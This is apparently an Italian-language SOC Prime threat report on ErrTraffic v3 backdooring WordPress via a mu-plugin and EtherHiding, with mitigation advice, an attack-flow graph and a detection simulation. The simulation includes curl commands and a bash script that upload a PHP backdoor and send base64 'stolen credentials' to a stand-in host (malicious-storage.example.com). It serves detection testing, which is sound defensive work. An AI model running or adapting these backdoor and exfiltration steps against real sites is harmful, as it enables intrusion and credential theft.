SOC Prime Bias: Medio

16 Apr 2026 15:04

ErrTraffic v3 Utilizza EtherHiding nelle Campagne di ClickFix

Author Photo
Ruslan Mikhalov Capo della Ricerca sulle Minacce presso SOC Prime linkedin icon Segui
ErrTraffic v3 Utilizza EtherHiding nelle Campagne di ClickFix
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Sommario

Il report descrive una nuova campagna che utilizza lo strumento ErrTraffic v3 per compromettere siti WordPress attraverso l’installazione di un backdoor mu-plugin. Il backdoor inietta JavaScript offuscato che recupera payload aggiuntivi tramite una tecnica basata su blockchain chiamata EtherHiding. Lo stadio finale consegna codice malevolo specifico per il sistema operativo, incluso un payload PowerShell crittografato, ai browser delle vittime. Errori di sicurezza operativa come chiavi hard-coded espongono l’infrastruttura.

Indagine

LevelBlue SpiderLabs ha esaminato il backdoor mu-plugin di WordPress, il beacon JavaScript incorporato, e il pannello di controllo ErrTraffic V3. Hanno tracciato l’uso di chiavi XOR statiche, decodifica Base64, e chiamate a smart contract verso nodi Polygon RPC. L’analisi ha anche identificato la chiave di autenticazione hard-coded utilizzata per la comunicazione API e ha mappato l’infrastruttura di hosting presso diversi provider a prova di proiettile.

Mitigazione

I difensori dovrebbero rimuovere il backdoor mu-plugin, bloccare TLD e intervalli IP noti come malevoli, monitorare l’uso della chiave API hard-coded, e limitare le connessioni in uscita verso gli endpoint blockchain RPC. Audita regolarmente le installazioni di WordPress per mu-plugin inattesi e verifica l’integrità dei file. Distribuire firewall per applicazioni web per rilevare i modelli di beaconing JavaScript.

Risposta

Alla rilevazione, isolare il server web interessato, rimuovere i file backdoor e ruotare tutte le credenziali amministrative. Bloccare i domini e gli endpoint RPC malevoli identificati al perimetro di rete. Condurre una revisione forense completa per identificare eventuali payload scaricati e monitorare un’attività continua C2 utilizzando il token API divulgato.

"graph TB %% Class definitions classDef action fill:#99ccff %% Node definitions step_initial_access["<b>Azione</b> – <b>T1659 Iniezione di Contenuti</b><br/>Sfrutta sito WordPress per caricare muu2011plugin malevolo (sessionu2011manager.php)"] class step_initial_access action step_persistence["<b>Azione</b> – <b>T1671 Integrazione Applicazione Cloud</b> / <b>T1525 Impianto Immagine Interna</b><br/>Backdoor installato come plugin mustu2011use in esecuzione ad ogni richiesta"] class step_persistence action step_credential_access["<b>Azione</b> – <b>T1056.003 Cattura Input</b><br/>JavaScript iniettato cattura credenziali admin e le invia all’attaccante"] class step_credential_access action step_c2["<b>Azione</b> – <b>T1102.003 Servizio Web Comunicazione Unidirezionale</b><br/>Beacon invia dati visitatore via navigator.sendBeacon a domini dell’attaccante"] class step_c2 action step_obfuscation["<b>Azione</b> – <b>T1027 File Offuscati</b><br/>Payload codificati con Base64 e XOR, incorporati in script inline"] class step_obfuscation action step_smart_contract["<b>Azione</b> – <b>T1059.009 API Cloud</b><br/>Lo script interroga gli endpoint RPC Polygon e gli smart contract (EtherHiding) per gli URL"] class step_smart_contract action step_dead_drop["<b>Azione</b> – <b>T1102.001</b><br/>Usa blockchain come deadu2011drop per la configurazione C2"] class step_dead_drop action step_encrypted["<b>Azione</b> – <b>T1573.001 Crittografia Simmetrica</b><br/>Traffico API crittografato con AESu2011GCM o RC4 usando chiave hardu2011coded"] class step_encrypted action step_execution["<b>Azione</b> – <b>T1059.001 PowerShell</b><br/>Downloader crea directory temporanea, scrive eseguibile e raccoglie payload specifico OS"] class step_execution action step_priv_esc["<b>Azione</b> – <b>T1546.016 Pacchetti di Installazione</b><br/>Script PowerShell registrato come pacchetto installer per mantenere la base"] class step_priv_esc action %% Connections step_initial_access –>|conduce a| step_persistence step_persistence –>|abilita| step_credential_access step_credential_access –>|fornisce| step_c2 step_c2 –>|utilizza| step_obfuscation step_obfuscation –>|facilita| step_smart_contract step_smart_contract –>|memorizza| step_dead_drop step_dead_drop –>|fornisce| step_encrypted step_encrypted –>|supporta| step_execution step_execution –>|abilita| step_priv_esc "

Flusso di Attacco

Esecuzione della Simulazione

Requisito: Il Controllo Pre-volo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP identificati e mirano a generare la telemetria esatta prevista dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

  • Narrazione dell’Attacco & Comandi:
    Un attaccante ha compromesso un account admin di WordPress e carica un file PHP malevolo denominato session-manager.php nella radice web. Il file contiene una sezione HTML dall’aspetto benigno che termina con un blocco <script> il cui commento dice “JavaScript incorporato alla fine della sezione”. Lo script esegue una sottrazione dati furtiva verso un bucket di archiviazione cloud (simulata via un curl POST). Nessun uso di navigator.sendBeacon() è presente, mantenendo la richiesta all’interno della finestra di rilevamento della regola.

    1. Carica il backdoor malevolo:
      curl -u admin:password -F "file=@session-manager.php" 
           "http://target.example.com/wp-admin/async-upload.php"
    2. Attiva il backdoor (genera la telemetria che innesca il rilevamento):
      curl -s "http://target.example.com/wp-content/uploads/session-manager.php?cmd=exfiltrate"
  • Script di Test di Regressione:

    #!/usr/bin/env bash
    #
    # Simula il caricamento e l'invocazione di un backdoor malevolo di WordPress
    # che contiene la frase esatta che la regola Sigma osserva.
    #
    set -euo pipefail
    
    TARGET="http://target.example.com"
    ADMIN_USER="admin"
    ADMIN_PASS="password"
    
    # 1. Creare il payload PHP malevolo localmente
    cat > session-manager.php <<'EOF'
    <?php
    // JavaScript incorporato alla fine della sezione
    echo "<!DOCTYPE html><html><body>";
    echo "<script>/* codice malevolo */</script>";
    echo "</body></html>";
    // Stub di esfiltrazione semplice (no sendBeacon)
    if ($_GET['cmd'] === 'exfiltrate') {
        $data = base64_encode('credenciales_rubate');
        $url = "https://malicious-storage.example.com/upload";
        $options = array('http'=>array('method'=>"POST",'header'=>"Content-Type: application/x-www-form-urlencodedrn",'content'=>http_build_query(array('data'=>$data))));
        $context = stream_context_create($options);
        file_get_contents($url, false, $context);
    }
    ?>
    EOF
    
    # 2. Caricare il payload tramite l’endpoint di upload asincrono di WordPress
    curl -s -u "${ADMIN_USER}:${ADMIN_PASS}" -F "file=@session-manager.php" 
         "${TARGET}/wp-admin/async-upload.php" >/dev/null
    
    echo "[+] Caricato il malevolo session-manager.php"
    
    # 3. Invocare il backdoor per generare traffico visibile al rilevamento
    curl -s "${TARGET}/wp-content/uploads/session-manager.php?cmd=exfiltrate" >/dev/null
    
    echo "[+] Backdoor attivato – la telemetria di rilevamento dovrebbe ora essere presente"
    
    # 4. Opzionale: pausa per ingestione SIEM
    sleep 5
  • Comandi di Pulizia:

    # Rimuovere il file malevolo dal server (richiede accesso SSH admin)
    ssh admin@target.example.com "rm -f /var/www/html/wp-content/uploads/session-manager.php"
    echo "[+] Pulizia completata – backdoor rimossa"